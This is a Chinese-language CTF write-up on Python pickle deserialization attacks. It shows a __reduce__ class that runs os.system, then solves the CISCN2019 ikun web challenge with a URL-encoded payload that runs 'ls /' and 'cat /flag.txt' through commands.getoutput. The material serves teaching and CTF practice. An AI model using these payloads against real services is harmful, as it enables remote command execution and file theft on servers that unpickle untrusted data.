命令执行#模仿Epicccal师傅的例子
import pickle
import os
class Test2(object):
def __reduce__(self):
#被调用函数的参数
cmd = "/usr/bin/id"
return (os.system,(cmd,))
if __name__ == "__main__":
test = Test2()
#执行序列化操作
result1 = pickle.dumps(test)
#执行反序列化操作
result2 = pickle.loads(result1)
# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")
题目训练
0x00:[CISCN2019 华北赛区 Day1 Web2]ikun
前面的步骤就不再详细描述了,这里直接从Pickle反序列化漏洞入手
在settings.py文件中发现提示,unicode解码一下
观察源码发现后门在Admin.py中
self.render('form.html', res=p, member=1)
这段代码的意思就是找到模板文件,进行渲染,从而显示页面
来观察一下form.html页面
说明传入的是可以直接进行回显的,而且可以将自定义的类进行序列化和反序列化,因此存在Pickle反序列化漏洞,那我们就可以构造一个通过pickle.dumps序列化的payload,从而被解析读取flag或其他信息。
构造payload可以使用方法__reduce__(self),先要获取的flag文件的位置,然后进行读取
但需要注意几点:
#os.system和os.popen
os.system 调用系统命令,完成后退出,返回结果是命令执行状态,一般是0
os.popen() 无法读取程序执行的返回值
这两个函数只有以print输出时才会回显,如果是以return返回的就不会显示结果。
查了资料发现
可以使用commands.getoutput()这个函数来进行代替,构造payload
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
发现flag.txt文件,那接下来就读取即可
return (commands.getoutput,('cat /flag.txt',))